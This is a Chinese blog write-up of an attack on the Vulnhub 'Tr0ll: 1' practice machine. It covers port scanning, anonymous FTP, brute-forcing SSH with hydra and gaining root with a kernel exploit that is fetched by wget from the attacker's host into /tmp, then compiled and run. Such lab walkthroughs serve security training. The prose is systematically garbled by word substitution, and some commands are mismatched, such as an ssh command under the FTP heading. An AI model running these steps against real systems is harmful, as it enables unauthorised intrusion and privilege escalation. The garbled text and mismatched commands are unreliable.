当前位置:首页 > 其他 > 正文内容

Tr0ll: 1 Vulnhub靶机浸透笔记

邻居的猫1个月前 (12-09)其他1992

Tr0ll: 1 Vulnhub靶机浸透笔记

本博客供给的一切信息仅供学习和研讨意图,旨在进步读者的网络安全意识和技能才能。请在合法合规的前提下运用本文中供给的任何技能、办法或东西。假如您挑选运用本博客中的任何信息进行非法活动,您将单独承当悉数法律责任。本博客清晰表明不支撑、不鼓舞也不参加任何办法的非法活动。

如有侵权请联络我第一时间删去

靶机地址

Tr0ll: 1 ~ VulnHub

信息搜集

nmap

主机发现

nmap -sn 192.168.236.128/24

tcp扫描

┌──(observer㉿kali)-[~/Tr0ll]
└─$ nmap -sT 192.168.236.136 -p- --min-rate 10000 -oA tcpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 19:59 CST
Nmap scan report for 192.168.236.136
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds

udp扫描

┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sU 192.168.236.136 --min-rate 10000 -oA udpscan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:01 CST
Nmap scan report for 192.168.236.136
Host is up (0.00024s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
814/udp   closed unknown
6970/udp  closed unknown
17946/udp closed unknown
19933/udp closed unknown
48078/udp closed unknown
49202/udp closed unknown
MAC Address: 00:0C:29:8C:0A:29 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds

刚刚扫描tcp扫到21ftp,22ssh,80web,现在对这三个端口进行具体的扫描

detail_tcpscan

┌──(observer㉿kali)-[~/Tr0ll]
└─$ sudo nmap -sT -sV -sC -O 192.168.236.136 -p 21,22,80 --min-rate 10000 -oA tcpscan_detail
Starting Nmap 7.94 ( https://nmap.org ) at 2024-12-08 20:13 CST
Nmap scan report for 192.168.236.136
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.236.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/secret
MAC Address: 00:0C:29:8C:0A:29 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds

缝隙脚本扫描

nmap -script=vuln -p22,21,80 -min-rate 10000 -oA scriptvuln 192.168.236.136

这儿不知道什么原因,扫不到东西

进犯面剖析&测验&getshell

那就不管了,首要看一下detail里的东西 这儿本来是要先剖析一下的,剖析ftp的时分直接匿名登陆拿到了一个流量包,看到了一个要害的目录,然后去web浸透拿到了一些凭证,爆炸后就ssh,思路就还挺简略的,所以就省掉这个剖析了

ftp

运转的是 vsftpd (Very Secure FTP Daemon) 3.0.2 版别

运转匿名登录,这个很值得重视:

 ftp-anon: Anonymous FTP login allowed  

在匿名登录的情况下,存在一个名为 lol.pcap 的文件具有读写履行权限 (-rwxrwxrwx),这表明任何衔接到FTP服务器的人都能够读取、修正或删去这个文件。这关于安全性来说是一个严峻的危险,因为它或许答应未授权的用户上传歹意内容或许修正现有文件。

-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]

ftp衔接以明文传输

操控衔接是以明文办法进行的。这意味着客户端与服务器之间的指令交互(例如登录、目录更改等)不会被加密。
|      Control connection is plain text

数据衔接也将以明文办法进行。这表明当传输文件或目录列表时,这些数据也不会被加密
|      Data connections will be plain text

当我ftp不给用户名进去后,给出一条这样的报错,This FTP server is anonymous only 猜想anonymous便是管理员的username,而咱们匿名进去是没有权限履行指令的

这儿还测验了用root,仍是提示只能用anonymous

那就用anonymous匿名登录吧,提示输入暗码,直接回车给他一个空暗码,成功衔接到了ftp,测验输入ls ,是ok的 ,过了一会这个ftp就掉了,回头看tcp扫描成果发现 Session timeout in seconds is 600 ,也便是说600秒就会timeout,不过不影响什么

把这个流量文件下载下来

get lol.pcap

在wireshark中发现了一个secret_stuff.txt

但我测验ftp去下载,也测验web端去路由他,都失利了,那他到底是个什么呢,细心看wireshark的流量,这儿是抓到了request恳求下载secret_stuff.txt ,细心看一下,搞清楚下载进程的流量来历,又一开端咱们就知道ftp是以明文传输数据的,已然这儿有抓包的流量,也便是说这个呼应包里必定便是明文

将呼应包里的明文拿出来:

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
\n
Sucks, you were so close... gotta TRY HARDER!\n

大约意思便是 好好好,你真是个小机灵鬼,你差不多找到了sup3rs3cr3tdirlol 😛

真遗憾,你差一点就成功了... 还得再加把劲!

这个sup3rs3cr3tdirlol是leet speak风格的文字,其实便是supersecretdirlol超级隐秘目录,猜想大约率是一个目录

web

直接拜访80端口,是一个欠揍的暴漫表情

之前tcp扫描提示有/secret,拜访一下看看,发现更欠揍了

目录扫描一下dirsearch和dirb都扫一下,都没有什么发现

拜访ftp得到的/sup3rs3cr3tdirlol有一个文件,咱们wget把他下载到kali

从这儿开端我的思路就断了,然后去看了他人的blog。。 QAQ

直接cat一堆乱码不太美观,用strings从二进制文件中提取可打印的字符序列,或许能够看到一些咱们想要的头绪

看到Find address 0x0856BF to proceed ,意思让咱们去找这个地址来持续,这会是个目录吗?

还真是,给了两个目录,一个用户名,一个passwd

先下载到kali里,便运用hrdra九头蛇去爆炸一下ssh和ftp(这两个都能够登录)

wget http://192.168.236.136/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt
--2024-12-08 23:32:21--  http://192.168.236.136/0x0856BF/this_folder_contains_the_password/Pass.txt

vim处理一下which_one_lol.txt

┌──(observer㉿kali)-[~/Tr0ll]
└─$ vim which_one_lol.txt                                                                                      
┌──(observer㉿kali)-[~/Tr0ll]
└─$ cat which_one_lol.txt 
maleus
ps-aux
felux
Eagle11
genphlux
usmc8892
blawrg
wytshadow
vis1t0r
overflow
hydra根底用法:

运用语法:hydra 参数 IP地址 服务名
协助指令:hydra -h
常用指令:hydra [-l 用户名|–L 用户名文件途径] [-p 暗码|–P 暗码文件途径] [-t 线程数] [–vV 显现具体信息] [–o 输出文件途径] [–f 找到暗码就中止] [–e ns 空暗码和指定暗码打听] [ip|-M ip列表文件途径]

ftp

sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh 

ssh

sudo hydra -L /YourPath/which_one_lol.txt -p /YourPath/Pass.txt 192.168.236.136 ssh 

上面两条指令测验用Pass.txt里的内容去爆炸,都失利了

目录名提示说this_folder_contains_the_password

直接用这个文件名去ssh 成功拿到ssh的凭证:overflow Pass.txt

sudo hydra -L /YourPath/which_one_lol.txt -p Pass.txt 192.168.236.136 ssh 

ssh获取开始shell

22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu

22端口跑的是一个OpenSSH服务,是6.6.1p1版别,服务器供给了DSARSAECDSAED25519 这几种密钥公钥算法用于主机认证

现已拿到一组凭证了,ssh衔接取得开始shell

ssh [email protected]

成功登录

用python进步一下交互性

查询是否有python

dpkg -l | grep python

是有的,并且挺全的

那就用履行这条句子得到一个交互性更好的shell

python -c 'import pty;pty.spawn("/bin/bash")'
Pass.txt
ssh [email protected]

提权

信息搜集

想sudo -l检查当时用户权限,但报错了,不答应运用这条指令

那就用uname -a检查一下靶机的内核版别,Linux 3.13.0

overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

这儿供给了几种办法来检查linux版别,以及内核版别

$ cat /proc/version    #检查GCC版别号,linux版别号,Ubuntu版别号 
Linux version 3.13.0-32-generic (buildd@roseapple) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014

$ lsb_release -a
No LSB modules are available.        
Distributor ID: Ubuntu               #类别是Ubuntu
Description:    Ubuntu 14.04.1 LTS   #LTS是Long Term Support:长期支撑版别
Release:        14.04                #发行日期或许发行版别号
Codename:       trusty 				#ubuntu的代号称号

$ uname -a    #显现linux 的内核版别和体系是多少位的:X86_64代表体系是64位的
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

#  运用 /etc/lsb-release 或 /etc/os-release 指令

$ cat /etc/os-release
#与 Ubuntu 16.04 及更高版别兼容
#检查信息列表,其间包括您的 Ubuntu 版别号及其版别称号。
#此外,还有一些指向 Ubuntu 网站和资源的链接能够为您供给协助
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ cat /etc/lsb-release   
#它是为旧体系规划的,因而假如您运转的是过期的 Ubuntu 版别,则能够运用它
#运用该指令将回来更简略的成果,其间显现版别 ID、描绘和代号。它不包括链接和 Ubuntu 版别称号
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"

$ cat /etc/issue    
#/etc/issue 文件是依据文本的文档。它包括体系标识数据
#因为该指令不会显现您的 Ubuntu 版别以外的任何内容
Ubuntu 14.04.1 LTS \n \l

$ hostnamectl
#运用 hostnamectl 指令。
#当您要更改体系的主机名时,一般运用此办法。
#可是,它还会回来 Ubuntu 版别和计算机 ID 等信息。
   Static hostname: troll
         Icon name: computer-vm
           Chassis: vm
           Boot ID: e43aaf51725843209b9e700f5eab15f9
  Operating System: Ubuntu 14.04.1 LTS
            Kernel: Linux 3.13.0-32-generic
      Architecture: i686

其间lsb表明(Linux Standard Base):LSB是一套中心标准,它保证了LINUX发行版同LINUX应用程序之间的杰出结合,具体地说,它是:
1、一个二进制接口标准,是指应用程序在体系间迁移时不必从头编译,保证应用程序在一切经过认证的LINUX发行版上都具有兼容性。
2、一个测验标准,测验LINUX发行版和LINUX应用程序是否契合LSB标准。
3、建立遵照LSB标准的应用程序的开发环境。
4、为在纯LSB环境下运转和测验应用程序而供给的运转环境样本。

uname --s 显现内核姓名
uname --r 显现内核版别
uname --n 显现网络主机名
uname --p 显现cpu

Exploit查询payload

依据内核版别在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers查找对应的payload,并用searchsploit下载到kali上

searchsploit Linux 3.13.0
searchsploit -m 37292.c

Exp运用

在进犯机上开一个php服务或python服务,都能够

sudo php -S 0:80

这儿用到了一个不起眼可是很有用的/tmp目录,参阅Linux中最低沉、最易让人忽视的tmp目录,本来用途那么大!-腾讯云开发者社区-腾讯云

在Linux操作体系中,tmp目录是一个暂时目录,用于存储暂时文件。这个目录一般坐落根目录下,命名为/tmp。本文将具体介绍Linux中的tmp目录,包括它的效果、权限、运用办法和安全性等方面。

效果

tmp目录用于存储暂时文件,这些文件一般是由操作体系或应用程序创立的。这些文件能够是日志文件、暂时缓存文件、程序暂时文件、打印行列文件等。它们在运用后很快就会被删去,因而/tmp目录一般坚持相对较小的巨细。

权限

在Linux中,tmp目录的权限一般设置为777(rwxrwxrwx),这意味着任何用户都能够拜访和修正该目录中的文件。这是为了便利暂时文件的创立和删去。但是,因为/tmp目录一般包括灵敏信息,因而一些体系管理员或许会更改其权限以进步安全性。

运用办法

/tmp目录在Linux中被广泛运用。下面是/tmp目录的几个首要用途:

  1. 缓存

/tmp目录一般用于存储暂时缓存文件,这些文件能够加快某些操作。例如,浏览器会将下载的文件保存到/tmp目录中,以便更快地拜访这些文件。

  1. 打印行列

打印服务一般会将打印使命存储在/tmp目录中。这些文件在打印完结后会主动删去。

  1. 应用程序暂时文件

某些应用程序需求在运转期间创立暂时文件。例如,视频修改器需求创立暂时文件以存储正在修改的视频文件。

  1. 日志文件

某些程序会将日志文件保存在/tmp目录中。这些日志文件一般包括程序运转期间的信息,例如过错音讯或调试信息。

  1. 其他

/tmp目录还可用于其他暂时文件的存储,例如备份文件、邮件附件等。

安全性

虽然/tmp目录一般是一个暂时目录,但它也或许包括一些灵敏信息,例如暗码文件或其他保密数据。因而,在运用/tmp目录时需求留意安全问题。下面是一些有关运用/tmp目录的安全主张:

  1. 避免在/tmp目录中存储灵敏信息

虽然/tmp目录一般会主动整理,但为了保证安全,最好避免在其间存储灵敏信息。假如有必要存储灵敏信息,则应考虑将文件加密或将其存储在其他当地。

  1. 定时整理/tmp目录

为了保证安全,主张定时整理/tmp目录。这能够避免/tmp目录被填满,然后导致体系溃散或无法正常作业。

  1. 约束/tmp目录的权限

因为/tmp目录一般包括灵敏信息,一些体系管理员或许会约束其拜访权限,以进步安全性。这能够经过更改目录权限或运用安全模块(如SELinux)来完成。

  1. 避免运用/tmp目录作为同享目录

/tmp目录一般是一个暂时目录,不该用于同享目录。假如有必要在多个计算机之间同享文件,则应运用其他同享目录,例如NFS同享目录或Samba同享目录。

  1. 避免/tmp目录成为进犯者的进口

/tmp目录或许成为进犯者进犯体系的进口。进犯者或许经过/tmp目录中的缝隙来履行歹意代码,因而需求采纳一些办法来维护/tmp目录的安全。这能够经过晋级体系补丁、装置防病毒软件或运用安全模块等办法完成。

定论

在Linux中,tmp目录是一个重要的暂时目录,用于存储暂时文件。虽然/tmp目录一般主动整理,但在运用时需求留意安全问题。为了保证安全,主张避免在其间存储灵敏信息,定时整理/tmp目录,并约束其拜访权限。此外,还应采纳一些办法来避免/tmp目录成为进犯者的进口。经过这些办法,能够保证/tmp目录在体系中的安全运用。

在靶机上运用wget从进犯机上下载payload(记住先cd到/tmp)

wget http://192.168.236.128:80/37292.c

将C言语文件编译为二进制文件

cc -o exp 37292.c
或许用gcc
gcc 37292.c -o exp

授权,并履行文件,获取root权限

chmod +x exp

./exp即可提权

定妆照:

扫描二维码推送至手机访问。

版权声明:本文由51Blog发布,如需转载请注明出处。

本文链接:https://www.51blog.vip/?id=643

标签: 红队渗透
分享给朋友:

“Tr0ll: 1 Vulnhub靶机浸透笔记” 的相关文章

使用1panel布置前后端别离项目 Java代码打包 前端打包

使用1panel布置前后端别离项目 Java代码打包 前端打包

初度发布于我的个人文档 参阅: 1.1Panel 官方文档 本文介绍一下怎么使用1panel布置一个简略的前后端别离项目。 1,具有一个Liunx服务器 第一步是购买一个Linux服务器,能够买一台线下实在的机器+公网IP或买一个阿里云、腾讯云、京东云、华为云服务器。 2.装置1panel 参阅1p...

全球最大分类广告商的Karpenter实践:减负运维、削减中止、每月省21万(上)

全球最大分类广告商的Karpenter实践:减负运维、削减中止、每月省21万(上)

原文链接: https://medium.com/adevinta-tech-blog/the-karpenter-effect-redefining-our-kubernetes-operations-80c7ba90a599 编译:CloudPilot AI Adevinta 是国际最...

开源爬虫,助力数据获取与处理的利器

开源爬虫,助力数据获取与处理的利器

3. MechanicalSoup 特点:MechanicalSoup 是一个 Python 库,旨在模拟人类在使用浏览器时与网站的交互,基于 Python 的 Requests 和 BeautifulSoup 构建。 优点:适合模拟人类与网站的交互,支持 HTTP 会话和文档导航。...

区块链100问

区块链100问

如果你想了解区块链,可以参考以下几个资源:1. 网易公开课 区块链100问: 火币打造的区块链100问系列动画,对区块链进行了系统梳理,适合想要了解区块链的你。你可以观看这个系列动画来获取详细的区块链知识。2. 哔哩哔哩 区块链100问: 哔哩哔哩上也有区块链100问的视频,内容涵盖...

区块链加密,技术革新与数据安全的守护者

区块链加密,技术革新与数据安全的守护者

区块链加密技术是区块链技术的重要组成部分,它确保了数据的安全性和完整性。以下是区块链加密技术的一些关键方面:1. 哈希函数:区块链使用哈希函数将交易数据转换为固定长度的字符串。这种转换是不可逆的,意味着无法从哈希值中恢复原始数据。此外,即使原始数据发生微小的变化,哈希值也会发生显著变化。2. 公钥加...

区块链技术架构,构建未来金融与智能合约的基石

区块链技术架构,构建未来金融与智能合约的基石

区块链技术架构是一个复杂的系统,主要由以下几个核心组件构成:1. 数据层:数据层是区块链技术的最底层,主要包含了区块和链式结构。区块是区块链中的基本单位,每个区块都包含了多个交易记录,这些交易记录被记录在区块中,并且每个区块都包含了前一个区块的哈希值,形成了一个链式结构。2. 网络层:网络层是区块链...